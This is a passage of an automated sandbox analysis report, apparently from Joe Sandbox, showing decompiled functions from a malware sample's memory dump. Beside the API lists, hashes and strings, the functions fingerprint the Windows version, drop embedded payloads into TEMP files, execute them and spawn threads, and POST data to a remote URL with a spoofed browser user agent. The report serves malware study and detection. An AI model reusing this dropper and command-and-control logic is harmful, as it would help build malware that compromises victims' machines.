							_v20 = _a8 * 0x288 / 6;
							_push( &_v20);
							_t64 = _v12;
							_push(_t64); // executed
							L0400B1DA(); // executed
							if(_t64 == 0) {
								_v24 = 0;
								while(_v12 != 0 && _v24 < _a8) {
									if( *((intOrPtr*)(_v12 + 0x190)) < _a8 - _v24) {
										E04007B70(_a4 + _v24, _v12 + 0x194,  *((intOrPtr*)(_v12 + 0x190)));
										_t100 = _t100 + 0xc;
										_v24 = _v24 +  *((intOrPtr*)(_v12 + 0x190));
										_v12 =  *_v12;
										_v8 = 1;
										continue;
									}
									break;
								}
								 *_a12 = _v24;
							}
							_v32 = _v16;
							E040097C0(_v32); // executed
						}
					}
				}
				return _v8;
			}

APIs

Part of subcall function 040097A0: GetProcessHeap.KERNEL32(00000008,04009FB2,?,04009FB2,00000000,?,?,?,04009E2D), ref: 040097A9
Part of subcall function 040097A0: RtlAllocateHeap.NTDLL(00000000,?,04009FB2,00000000,?,?,?,04009E2D), ref: 040097B0

GetAdaptersInfo.IPHLPAPI(00000000,04009E2D), ref: 04009FEB

Memory Dump Source

Source File: 00000002.00000002.603215187.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000002.00000002.603118352.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.603533696.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.603602052.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4000000_pigalicapi.jbxd

Similarity

API ID: Heap$AdaptersAllocateInfoProcess
String ID:
API String ID: 1318000056-0
Opcode ID: 73ff96f27f52de9840d8f092c1af349ff5175d9842f98ddb7f52f1a4bac05a00
Instruction ID: 97f005e152f21f2c2f7fd10924b0caa403664ba6d1ad8a9a516f1bf18f754b30
Opcode Fuzzy Hash: 73ff96f27f52de9840d8f092c1af349ff5175d9842f98ddb7f52f1a4bac05a00
Instruction Fuzzy Hash: B931FBB5E00209EFEB04CF98C494AEEB7B5EF48308F10C169E909A7390D735AA45CF51

Uniqueness

Uniqueness Score: -1.00%

Function 04008F80 Relevance: 63.2, APIs: 22, Strings: 14, Instructions: 207
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E04008F80(CHAR* _a4, intOrPtr _a8, intOrPtr* _a12) {
				int _v8;
				struct _SYSTEM_INFO _v44;
				signed int _v50;
				signed short _v52;
				struct _OSVERSIONINFOA _v204;

				_v8 = 0;
				if(_a4 == 0 || _a8 == 0 || _a12 == 0) {
					L45:
					return _v8;
				} else {
					E04007D20(E04007D20(_a8, _a4, 0, _a8),  &_v204, 0, 0x9c);
					_v204.dwOSVersionInfoSize = 0x9c;
					E04007D20( &_v44,  &_v44, 0, 0x24);
					if(GetVersionExA( &_v204) == 0) {
						L43:
						if(_v8 == 0) {
							lstrcatA(_a4, "UndefinedOS");
						}
						goto L45;
					}
					GetSystemInfo( &_v44); // executed
					if(_v204.dwMajorVersion != 5) {
						if(_v204.dwMajorVersion == 6) {
							if(_v204.dwMinorVersion != 0) {
								if(_v204.dwMinorVersion != 1) {
									if(_v204.dwMinorVersion == 2) {
										if((_v50 & 0x000000ff) == 1) {
											if((_v50 & 0x000000ff) == 1) {
												lstrcatA(_a4, "Win8");
												 *_a12 = 0xb;
											}
										} else {
											lstrcatA(_a4, "WinServer2012");
											 *_a12 = 0xc;
										}
									}
								} else {
									if((_v50 & 0x000000ff) == 1) {
										if((_v50 & 0x000000ff) == 1) {
											lstrcatA(_a4, "Win7");
											 *_a12 = 8;
										}
									} else {
										lstrcatA(_a4, "WinServer2008R2");
										 *_a12 = 0xa;
									}
								}
							} else {
								if((_v50 & 0x000000ff) != 1) {
									if((_v50 & 0x000000ff) != 1) {
										lstrcatA(_a4, "WinServer2008");
										 *_a12 = 9;
									}
								} else {
									lstrcatA(_a4, "Vista");
									 *_a12 = 7;
								}
							}
						}
						L38:
						if(E04009290() != 0) {
							lstrcatA(_a4, "_x64");
						}
						if(lstrlenA( &(_v204.szCSDVersion)) != 0) {
							lstrcatA(_a4, "_");
							lstrcatA(_a4,  &(_v204.szCSDVersion));
						}
						_v8 = lstrlenA(_a4);
						goto L43;
					}
					if(_v204.dwMinorVersion != 0) {
						if(_v204.dwMinorVersion != 1) {
							if(_v204.dwMinorVersion == 2) {
								if((_v50 & 0x000000ff) != 1 || (_v44.dwOemId & 0x0000ffff) != 9) {
									if(GetSystemMetrics(0x59) != 0) {
										if(GetSystemMetrics(0x59) == 0) {
											if((_v52 & 0x8000) != 0) {
												lstrcatA(_a4, "WinHomeServer");
												 *_a12 = 4;
											}
										} else {
											lstrcatA(_a4, "WinServer2003R2");
											 *_a12 = 6;
										}
									} else {
										lstrcatA(_a4, "WinServer2003");
										 *_a12 = 5;
									}
								} else {
									lstrcatA(_a4, "WinXP64");
									 *_a12 = 3;
								}
							}
						} else {
							lstrcatA(_a4, "WinXP");
							 *_a12 = 2;
						}
					} else {
						lstrcatA(_a4, "Win2K");
						 *_a12 = 1;
					}
					goto L38;
				}
			}

APIs

GetVersionExA.KERNEL32(0000009C), ref: 04008FF7
GetSystemInfo.KERNEL32(?), ref: 04009009
lstrcatA.KERNEL32(00000000,Win2K), ref: 0400902E
lstrcatA.KERNEL32(00000000,WinXP), ref: 04009054
lstrcatA.KERNEL32(00000000,Vista), ref: 0400913D
lstrcatA.KERNEL32(00000000,WinServer2008), ref: 04009160
lstrcatA.KERNEL32(00000000,WinServer2008R2), ref: 0400918F
lstrcatA.KERNEL32(00000000,Win7), ref: 040091B2
lstrcatA.KERNEL32(00000000,WinServer2012), ref: 040091DE
lstrcatA.KERNEL32(00000000,Win8), ref: 04009201
lstrcatA.KERNEL32(00000000,_x64), ref: 04009222
lstrlenA.KERNEL32(?), ref: 0400922F
lstrcatA.KERNEL32(00000000,0400C980), ref: 04009242
lstrcatA.KERNEL32(00000000,?), ref: 04009253
lstrlenA.KERNEL32(00000000), ref: 0400925D
lstrcatA.KERNEL32(00000000,UndefinedOS), ref: 04009275

Strings

UndefinedOS, xrefs: 0400926C
WinXP, xrefs: 0400904B
WinXP64, xrefs: 04009087
WinServer2008, xrefs: 04009157
Win7, xrefs: 040091A9
Vista, xrefs: 04009134
WinHomeServer, xrefs: 040090F8
_x64, xrefs: 04009219
Win2K, xrefs: 04009025
WinServer2012, xrefs: 040091D5
WinServer2008R2, xrefs: 04009186
WinServer2003, xrefs: 040090AD
WinServer2003R2, xrefs: 040090D3
Win8, xrefs: 040091F8

Memory Dump Source

Source File: 00000002.00000002.603215187.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000002.00000002.603118352.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.603533696.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.603602052.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4000000_pigalicapi.jbxd

Similarity

API ID: lstrcat$lstrlen$InfoSystemVersion
String ID: UndefinedOS$Vista$Win2K$Win7$Win8$WinHomeServer$WinServer2003$WinServer2003R2$WinServer2008$WinServer2008R2$WinServer2012$WinXP$WinXP64$_x64
API String ID: 3139318632-332591429
Opcode ID: b80c610fb93e26c1f6b8a0e3d57eccb9ead3b078b5df3064abf97d281ea2cf4c
Instruction ID: 2fdea20511d00b83c143a5217ffb9651c4d2114897e9ccdf2931e29d93762e72
Opcode Fuzzy Hash: b80c610fb93e26c1f6b8a0e3d57eccb9ead3b078b5df3064abf97d281ea2cf4c
Instruction Fuzzy Hash: 1A81F9B4644209EBFB249F60C849BAE7BB5FB49301F00C659F905BA2C1D779E9C1CB61

Uniqueness

Uniqueness Score: -1.00%

Function 040062B0 Relevance: 56.7, APIs: 29, Strings: 3, Instructions: 657
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E040062B0(intOrPtr* _a4, intOrPtr _a8) {
				long _v8;
				intOrPtr _v12;
				signed int _v13;
				void* _v20;
				int _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				void _v36;
				void* _v40;
				long _v44;
				signed int _v48;
				void* _v52;
				long _v56;
				void _v60;
				char _v324;
				void* _v328;
				char _v340;
				char _v604;
				int _v608;
				long _v612;
				signed int _v616;
				void* _v620;
				void* _v624;
				void* _v628;
				int _v632;
				signed int _v636;
				long _v640;
				void* _v644;
				void* _v648;
				void* _v652;
				char _v916;
				void* _v920;
				char _v932;
				char _v1196;
				long _v1200;
				int _v1204;
				long _v1208;
				void* _v1212;
				long _v1216;
				signed int _v1220;
				void* _v1224;
				void* _v1228;
				intOrPtr _t317;
				signed char _t321;
				void* _t333;
				signed int _t340;
				void* _t349;
				signed int _t355;
				void* _t361;
				void* _t368;
				void* _t378;
				void* _t381;
				signed int _t383;
				void* _t386;
				void* _t393;
				int _t415;
				signed int _t421;
				signed int _t428;
				signed char _t433;
				void* _t439;
				signed char _t442;
				void* _t448;
				signed int _t452;
				intOrPtr _t455;
				void* _t465;
				void* _t472;
				void* _t473;
				void* _t508;
				void* _t509;
				void* _t528;
				void* _t529;
				void* _t539;
				void* _t549;
				void* _t550;
				void* _t551;
				void* _t563;
				void* _t598;

				_v8 = 0;
				if(_a4 == 0 || _a8 == 0) {
					L99:
					return _v8;
				} else {
					_v12 =  *_a4;
					if(_v12 > 0 && _v12 < 0x400) {
						_v20 = _a4 + 4;
						_v24 = 0;
						while(_v24 < _v12) {
							if(_v24 <= 0) {
								L10:
								_v28 = _v20 + 0x18;
								_v32 =  *_v20 - 0x18;
								__eflags =  *((intOrPtr*)(_v20 + 4)) -  *0x400e270; // 0x1
								if(__eflags != 0) {
									L22:
									_t428 = _v24 + 1;
									__eflags = _t428;
									_v24 = _t428;
									continue;
								}
								__eflags =  *((intOrPtr*)(_v20 + 8)) -  *0x400e284; // 0x1
								if(__eflags != 0) {
									goto L22;
								}
								_t508 = _v20;
								__eflags =  *(_t508 + 0xc) & 0x00000002;
								if(( *(_t508 + 0xc) & 0x00000002) == 0) {
									goto L22;
								}
								__eflags =  *0x401435d & 0x000000ff;
								if(( *0x401435d & 0x000000ff) == 0) {
									goto L22;
								}
								_t509 = _v20;
								__eflags =  *(_t509 + 0xc) & 0x00000010;
								if(( *(_t509 + 0xc) & 0x00000010) == 0) {
									_t433 = E04001EE0(_v28, 0xea60);
									_t598 = _t598 + 8;
									_v8 = _t433 & 0x000000ff;
									L21:
									break;
								}
								_v44 =  *((intOrPtr*)(_v28 + _v32 - 4));
								_v40 = VirtualAlloc(0, _v44, 0x3000, 4);
								__eflags = _v40;
								if(_v40 == 0) {
									L19:
									goto L21;
								}
								_t439 = E04006260(_v40, _v28, _v32, _v40, _v44);
								__eflags = _t439 - _v44;
								if(_t439 == _v44) {
									_t442 = E04001EE0(_v40, 0xea60);
									_t598 = _t598 + 8;
									_v8 = _t442 & 0x000000ff;
								}
								VirtualFree(_v40, 0, 0x8000);
								goto L19;
							} else {
								_v36 =  *_v20;
								_v20 = _v20 + _v36;
								if(_v20 <= _a4 + _a8) {
									goto L10;
								} else {
									return 0;
								}
							}
						}
						_v13 = 0;
						_v20 = _a4 + 4;
						_v48 = 0;
						while(1) {
							__eflags = _v48 - _v12;
							if(_v48 >= _v12) {
								break;
							}
							__eflags = _v48;
							if(_v48 <= 0) {
								L29:
								_v52 = _v20 + 0x18;
								_v56 =  *_v20 - 0x18;
								__eflags =  *((intOrPtr*)(_v20 + 4)) -  *0x400e274; // 0x2
								if(__eflags != 0) {
									L39:
									_t448 = _v20;
									__eflags =  *(_t448 + 0xc) & 0x00000002;
									if(( *(_t448 + 0xc) & 0x00000002) == 0) {
										__eflags =  *((intOrPtr*)(_v20 + 4)) -  *0x400e270; // 0x1
										if(__eflags != 0) {
											L90:
											__eflags =  *((intOrPtr*)(_v20 + 4)) -  *0x400e278; // 0x3
											if(__eflags != 0) {
												L93:
												__eflags =  *((intOrPtr*)(_v20 + 4)) -  *0x400e27c; // 0x4
												if(__eflags == 0) {
													_v13 = 1;
												}
												L95:
												L24:
												_t452 = _v48 + 1;
												__eflags = _t452;
												_v48 = _t452;
												continue;
											}
											__eflags =  *((intOrPtr*)(_v20 + 8)) -  *0x400e288; // 0x2
											if(__eflags != 0) {
												goto L93;
											}
											_t317 =  *0x400e28c; // 0x4013f88
											_t455 =  *0x40118a0; // 0x4013b88
											E0400A360(_t455, _t317, _v52, _v56);
											_t598 = _t598 + 0x10;
											goto L95;
										}
										__eflags =  *((intOrPtr*)(_v20 + 8)) -  *0x400e284; // 0x1
										if(__eflags != 0) {
											goto L90;
										}
										_t321 = E04007250(_v20, _v52, _v56);
										_t598 = _t598 + 0xc;
										__eflags = _t321 & 0x000000ff;
										if((_t321 & 0x000000ff) != 0) {
											_t528 = _v20;
											__eflags =  *(_t528 + 0x14);
											if( *(_t528 + 0x14) == 0) {
												L48:
												_t529 = _v20;
												__eflags =  *(_t529 + 0xc) & 0x00000001;
												if(( *(_t529 + 0xc) & 0x00000001) == 0) {
													GetEnvironmentVariableA("TEMP",  &_v1196, 0x104);
													E04007D20( &_v932,  &_v932, 0, 0xa);
													E04009730( &_v932, 4);
													_t598 = _t598 + 0x14;
													GetTempFileNameA( &_v1196,  &_v932, GetTickCount() % 0xffff,  &_v916);
													_v920 = CreateFileA( &_v916, 0x40000000, 1, 0, 2, 0, 0);
													__eflags = _v920 - 0xffffffff;
													if(_v920 == 0xffffffff) {
														L89:
														goto L24;
													}
													_v1200 = 0;
													_v1204 = 0;
													_v1208 = _v56;
													_t333 = _v20;
													__eflags =  *(_t333 + 0xc) & 0x00000010;
													if(( *(_t333 + 0xc) & 0x00000010) == 0) {
														_v1204 = WriteFile(_v920, _v52, _v56,  &_v1200, 0);
													} else {
														_v1216 =  *((intOrPtr*)(_v52 + _v56 - 4));
														_v1212 = VirtualAlloc(0, _v1216, 0x3000, 4);
														__eflags = _v1212;
														if(_v1212 != 0) {
															_t349 = E04006260(_v56, _v52, _v56, _v1212, _v1216);
															__eflags = _t349 - _v1216;
															if(_t349 == _v1216) {
																_v1204 = WriteFile(_v920, _v1212, _v1216,  &_v1200, 0);
																_v1208 = _v1216;
															}
															VirtualFree(_v1212, 0, 0x8000);
														}
													}
													__eflags = _v1204;
													if(_v1204 == 0) {
														L88:
														CloseHandle(_v920);
													} else {
														__eflags = _v1200 - _v1208;
														if(_v1200 != _v1208) {
															goto L88;
														}
														CloseHandle(_v920);
														_t340 = E04001E60( &_v916);
														_t598 = _t598 + 4;
														_v1220 = _t340;
														__eflags = _v1220;
														if(_v1220 != 0) {
															_t465 = _v20;
															__eflags =  *(_t465 + 0x10);
															if( *(_t465 + 0x10) != 0) {
																E040073C0(_v20, _v52, _v56);
																_t598 = _t598 + 0xc;
															}
															_t539 = _v20;
															__eflags =  *(_t539 + 0xc) & 0x00000004;
															if(( *(_t539 + 0xc) & 0x00000004) != 0) {
																E04002510(_v1220, 0x400e290);
																_t598 = _t598 + 8;
															}
															_v8 = 1;
														}
													}
													goto L89;
												}
												_v636 = 0;
												_v632 = 0;
												_v640 = 0;
												_t472 = _v20;
												__eflags =  *(_t472 + 0xc) & 0x00000010;
												if(( *(_t472 + 0xc) & 0x00000010) == 0) {
													_t355 = E04002070(_v52);
													_t598 = _t598 + 4;
													_v636 = _t355;
												} else {
													_v640 =  *((intOrPtr*)(_v52 + _v56 - 4));
													_t378 = VirtualAlloc(0, _v640, 0x3000, 4); // executed
													_v644 = _t378;
													__eflags = _v644;
													if(_v644 != 0) {
														_t381 = E04006260(_v644, _v52, _v56, _v644, _v640);
														__eflags = _t381 - _v640;
														if(_t381 == _v640) {
															_t383 = E04002070(_v644); // executed
															_t598 = _t598 + 4;
															_v636 = _t383;
															_t563 = _v20;
															__eflags =  *(_t563 + 0xc) & 0x00000008;
															if(( *(_t563 + 0xc) & 0x00000008) != 0) {
																_t386 = VirtualAlloc(0, _v640, 0x3000, 4); // executed
																_v632 = _t386;
																E04007B70(_v632, _v644, _v640);
																_t598 = _t598 + 0xc;
															}
														}
														VirtualFree(_v644, 0, 0x8000); // executed
													}
												}
												__eflags = _v636;
												if(_v636 != 0) {
													_t473 = _v20;
													__eflags =  *(_t473 + 0x10);
													if( *(_t473 + 0x10) != 0) {
														E040073C0(_v20, _v52, _v56);
														_t598 = _t598 + 0xc;
													}
													_t549 = _v20;
													__eflags =  *(_t549 + 0xc) & 0x00000008;
													if(( *(_t549 + 0xc) & 0x00000008) != 0) {
														_t361 = E040097A0(0x10);
														_t598 = _t598 + 4;
														_v1228 = _t361;
														_v648 = _v1228;
														_t551 = _v20;
														__eflags =  *(_t551 + 0xc) & 0x00000010;
														if(( *(_t551 + 0xc) & 0x00000010) == 0) {
															 *_v648 = VirtualAlloc(0, _v56, 0x3000, 4);
															__eflags =  *_v648;
															if( *_v648 != 0) {
																E04007B70( *_v648, _v52, _v56);
																_t598 = _t598 + 0xc;
																 *(_v648 + 4) = _v56;
															}
														} else {
															 *_v648 = _v632;
															 *(_v648 + 4) = _v640;
														}
														__eflags =  *_v648;
														if( *_v648 != 0) {
															 *((intOrPtr*)(_v648 + 8)) =  *((intOrPtr*)(_v20 + 0xc));
															 *((intOrPtr*)(_v648 + 0xc)) = _v636;
															_t368 = CreateThread(0, 0, E040077B0, _v648, 0, 0); // executed
															_v652 = _t368;
															CloseHandle(_v652);
														}
													}
													_t550 = _v20;
													__eflags =  *(_t550 + 0xc) & 0x00000004;
													if(( *(_t550 + 0xc) & 0x00000004) != 0) {
														E04002510(_v636, 0x400e290);
														_t598 = _t598 + 8;
													}
													_v8 = 1;
												}
												goto L24;
											}
											_v620 = VirtualAlloc(0, _v56, 0x3000, 4);
											__eflags = _v620;
											if(_v620 == 0) {
												goto L48;
											}
											E04007B70(_v620, _v52, _v56);
											_t393 = E040097A0(0x20);
											_t598 = _t598 + 0x10;
											_v1224 = _t393;
											_v624 = _v1224;
											 *_v624 =  *_v20;
											 *((intOrPtr*)(_v624 + 4)) =  *((intOrPtr*)(_v20 + 4));
											 *((intOrPtr*)(_v624 + 8)) =  *((intOrPtr*)(_v20 + 8));
											 *((intOrPtr*)(_v624 + 0x14)) =  *((intOrPtr*)(_v20 + 0x14));
											 *((intOrPtr*)(_v624 + 0x1c)) = _v56;
											 *((intOrPtr*)(_v624 + 0xc)) =  *((intOrPtr*)(_v20 + 0xc));
											 *((intOrPtr*)(_v624 + 0x10)) =  *((intOrPtr*)(_v20 + 0x10));
											 *(_v624 + 0x18) = _v620;
											_v628 = CreateThread(0, 0, E04006DA0, _v624, 0, 0);
											CloseHandle(_v628);
											goto L24;
										}
										goto L24;
									}
									goto L24;
								}
								__eflags =  *((intOrPtr*)(_v20 + 8)) -  *0x400e284; // 0x1
								if(__eflags != 0) {
									goto L39;
								}
								GetEnvironmentVariableA("TEMP",  &_v604, 0x104);
								E04007D20( &_v340,  &_v340, 0, 0xa);
								E04009730( &_v340, 4);
								_t598 = _t598 + 0x14;
								GetTempFileNameA( &_v604,  &_v340, GetTickCount() % 0xffff,  &_v324);
								_v328 = CreateFileA( &_v324, 0x40000000, 1, 0, 2, 0x80, 0);
								__eflags = _v328 - 0xffffffff;
								if(_v328 == 0xffffffff) {
									goto L39;
								}
								_v608 = 0;
								_v612 = 0;
								_t415 = WriteFile(_v328, _v52, _v56,  &_v612, 0);
								__eflags = _t415;
								if(_t415 == 0) {
									L37:
									__eflags = _v608;
									if(_v608 == 0) {
										CloseHandle(_v328);
									}
									goto L39;
								}
								__eflags = _v612 - _v56;
								if(_v612 != _v56) {
									goto L37;
								}
								_v608 = CloseHandle(_v328);
								E04006C60();
								_t421 = E04001E60( &_v324);
								_t598 = _t598 + 4;
								_v616 = _t421;
								__eflags = _v616;
								if(_v616 == 0) {
									E04006CF0();
									goto L37;
								}
								E040074A0();
								ExitProcess(0);
							}
							_v60 =  *_v20;
							_v20 = _v20 + _v60;
							__eflags = _v20 - _a4 + _a8;
							if(_v20 <= _a4 + _a8) {
								goto L29;
							}
							return 0;
						}
						__eflags = (_v13 & 0x000000ff) - 1;
						if((_v13 & 0x000000ff) != 1) {
							 *0x40130e4 = 1;
						} else {
							 *0x40130e4 = 2;
						}
					}
					goto L99;
				}
			}

APIs

VirtualAlloc.KERNEL32(00000000,?,00003000,00000004), ref: 040063BD
VirtualFree.KERNEL32(00000000,00000000,00008000,?,?,00000000,?), ref: 04006408

Strings

Kobucgekyxca, xrefs: 04006C06
TEMP, xrefs: 040064C6
TEMP, xrefs: 040069C6

Memory Dump Source

Source File: 00000002.00000002.603215187.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000002.00000002.603118352.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.603533696.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.603602052.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4000000_pigalicapi.jbxd

Similarity

API ID: Virtual$AllocFree
String ID: Kobucgekyxca$TEMP$TEMP
API String ID: 2087232378-2361037019
Opcode ID: 36a74629caef2e12234a485460b867fdbdc2bfda1a936d4e7568c691b9f69a1a
Instruction ID: 78f313c43f0008814aaec3ee7e7f4a65c37c9c75159239be5687e4ed3a221f5b
Opcode Fuzzy Hash: 36a74629caef2e12234a485460b867fdbdc2bfda1a936d4e7568c691b9f69a1a
Instruction Fuzzy Hash: 70522BB5A042199FEB54DF94DC88FAEB7B6FB48304F148598E509BB280D775AE80CF50

Uniqueness

Uniqueness Score: -1.00%

Function 04001840 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 260
networkfilememoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E04001840(char* _a4, void* _a8, long _a12, intOrPtr* _a16, intOrPtr* _a20, intOrPtr* _a24, intOrPtr _a28, intOrPtr* _a32) {
				long _v8;
				char _v276;
				char _v1300;
				char _v1564;
				void* _v1568;
				void* _v1572;
				char* _v1576;
				intOrPtr _v1588;
				char* _v1592;
				signed short _v1612;
				intOrPtr _v1616;
				char* _v1620;
				void* _v1636;
				void* _v1640;
				void* _v1644;
				void* _v1648;
				long _v1652;
				void _v1656;
				void _v1916;
				long _v1920;
				long _v1924;
				long _v1928;
				void* _v1932;
				intOrPtr _v1936;
				long _v1940;
				long _v1944;
				long _v1948;
				void _v2972;
				long _v2976;
				int _t116;
				void* _t117;
				void* _t119;
				void* _t123;
				int _t133;
				void* _t143;
				long _t151;
				void* _t194;
				void* _t195;
				void* _t196;

				_v8 = 0;
				if(_a4 == 0 || _a8 == 0 || _a12 == 0 || _a16 == 0) {
					L37:
					return _v8;
				} else {
					_v1644 = 0;
					_v1640 = 0;
					_v1568 = 0;
					_v1576 = "*/*";
					_v1572 = 0;
					E04007D20( &_v1636,  &_v1636, 0, 0x3c);
					_t195 = _t194 + 0xc;
					_v1636 = 0x3c;
					_v1620 =  &_v1564;
					_v1616 = 0x104;
					_v1592 =  &_v276;
					_v1588 = 0x104;
					_t116 = InternetCrackUrlA(_a4, 0, 0,  &_v1636); // executed
					if(_t116 == 0) {
						goto L37;
					}
					_t117 = InternetOpenA("Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)", 1, 0, 0, 0); // executed
					_v1644 = _t117;
					if(_v1644 == 0) {
						goto L37;
					}
					_t119 = InternetConnectA(_v1644, _v1620, _v1612 & 0x0000ffff, 0, 0, 3, 0, 0); // executed
					_v1640 = _t119;
					if(_v1640 == 0) {
						L36:
						InternetCloseHandle(_v1644);
						goto L37;
					}
					_t123 = HttpOpenRequestA(_v1640, "POST", _v1592, 0, 0,  &_v1576, 0x200300, 0); // executed
					_v1568 = _t123;
					if(_v1568 == 0) {
						L35:
						InternetCloseHandle(_v1640);
						goto L36;
					}
					wnsprintfA( &_v1300, 0x400, "Accept-Language: en-us\r\nContent-Type: application/octet-stream\r\nContent-Length: %d\r\n", _a12);
					_t196 = _t195 + 0x10;
					if(HttpAddRequestHeadersA(_v1568,  &_v1300, 0xffffffff, 0) == 0) {
						L34:
						InternetCloseHandle(_v1568); // executed
						goto L35;
					}
					_v1656 = 0x7530;
					if(_a28 > 0) {
						_v1656 = _a28;
					}
					InternetSetOptionA(_v1568, 6,  &_v1656, 4);
					_v1652 = 1;
					_v1648 = 0;
					do {
						_v1920 = 0x100;
						E04007D20( &_v1916,  &_v1916, 0, 0x100);
						_t196 = _t196 + 0xc;
						_v1924 = 0;
						_t133 = HttpSendRequestA(_v1568, 0, 0, _a8, _a12); // executed
						if(_t133 == 0) {
							goto L32;
						}
						if(HttpQueryInfoA(_v1568, 0x13,  &_v1916,  &_v1920,  &_v1924) != 0) {
							_t137 = E04007DD0( &_v1916);
							_t196 = _t196 + 4;
							_v1936 = _t137;
							if(_a32 != 0) {
								_t137 = _a32;
								 *_a32 = _v1936;
							}
						}
						E04007D20(_t137,  &_v1916, 0, 0x100);
						_t196 = _t196 + 0xc;
						_v1928 = 0x500000;
						if(HttpQueryInfoA(_v1568, 5,  &_v1916,  &_v1920,  &_v1924) != 0) {
							_t151 = E04007DD0( &_v1916);
							_t196 = _t196 + 4;
							_v1940 = _t151;
							if(_v1940 > 0 && _v1940 < 0x40000000) {
								_v1928 = _v1940;
							}
						}
						_t143 = VirtualAlloc(0, _v1928, 0x3000, 4); // executed
						_v1932 = _t143;
						if(_v1932 == 0) {
							_v2976 = 0;
							do {
								InternetReadFile(_v1568,  &_v2972, 0x400,  &_v2976);
							} while (_v2976 > 0);
						} else {
							 *_a16 = _v1932;
							 *_a20 = _v1928;
							_v8 = 1;
							_v1944 = _v1928;
							while(1) {
								_v1948 = 0;
								InternetReadFile(_v1568, _v1932, _v1944,  &_v1948); // executed
								if(_a24 != 0) {
									 *_a24 =  *_a24 + _v1948;
								}
								if(_v1948 == 0) {
									break;
								}
								_v1932 = _v1932 + _v1948;
								_v1944 = _v1944 - _v1948;
								if(_v1944 > 0) {
									continue;
								}
								L29:
								goto L32;
							}
							goto L29;
						}
						L32:
						_v1648 = _v1648 + 1;
					} while (_v8 == 0 && _v1648 < 1);
					goto L34;
				}
			}

APIs

InternetCrackUrlA.WININET(00000000,00000000,00000000,0000003C), ref: 04001902
InternetOpenA.WININET(Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1),00000001,00000000,00000000,00000000), ref: 0400191D
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 04001956
HttpOpenRequestA.WININET(00000000,POST,?,00000000,00000000,0400C2C8,00200300,00000000), ref: 04001994
wnsprintfA.SHLWAPI ref: 040019C2
HttpAddRequestHeadersA.WININET(00000000,?,000000FF,00000000), ref: 040019DD
InternetSetOptionA.WININET(00000000,00000006,00007530,00000004), ref: 04001A16
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 04001A6D
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 04001A99
HttpQueryInfoA.WININET(00000000,00000005,?,00000100,00000000), ref: 04001B07
VirtualAlloc.KERNEL32(00000000,00500000,00003000,00000004), ref: 04001B57
InternetReadFile.WININET(00000000,00000000,?,00000000), ref: 04001BBF
InternetReadFile.WININET(00000000,?,00000400,00000000), ref: 04001C3D
InternetCloseHandle.WININET(00000000), ref: 04001C75
InternetCloseHandle.WININET(00000000), ref: 04001C82
InternetCloseHandle.WININET(00000000), ref: 04001C8F

Strings

0u, xrefs: 040019EB
POST, xrefs: 04001988
Accept-Language: en-usContent-Type: application/octet-streamContent-Length: %d, xrefs: 040019B1
<, xrefs: 040018BD
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1), xrefs: 04001918

Memory Dump Source

Source File: 00000002.00000002.603215187.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000002.00000002.603118352.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.603533696.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.603602052.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4000000_pigalicapi.jbxd

Similarity

API ID: Internet$Http$CloseHandleRequest$FileInfoOpenQueryRead$AllocConnectCrackHeadersOptionSendVirtualwnsprintf
String ID: 0u$<$Accept-Language: en-usContent-Type: application/octet-streamContent-Length: %d$Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)$POST
API String ID: 880997049-2804282621
Opcode ID: d9d4cb28da70c868705f456cd8ab0708f990bc07d580d9120d59bd3b3f766fdd
Instruction ID: 104ecec6680c69d5e391cf9d7718dbecb1b5f59d1f4ca396f8eadafade2250d2
Opcode Fuzzy Hash: d9d4cb28da70c868705f456cd8ab0708f990bc07d580d9120d59bd3b3f766fdd
Instruction Fuzzy Hash: 89C10BB19442189BFB64CF50CC49FD9B7B5EB88704F0481D9E60DAA2C0DB7AAAD4CF50

Uniqueness

Uniqueness Score: -1.00%

Function 04004020 Relevance: 30.2, APIs: 20, Instructions: 215
threadsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 98%

			E04004020(intOrPtr _a4, signed int _a8, intOrPtr _a12, intOrPtr _a16, signed int _a20, char _a24) {
				signed int _v5;
				signed int _v12;
				char _v16;
				void* _v20;
				struct _CRITICAL_SECTION _v44;
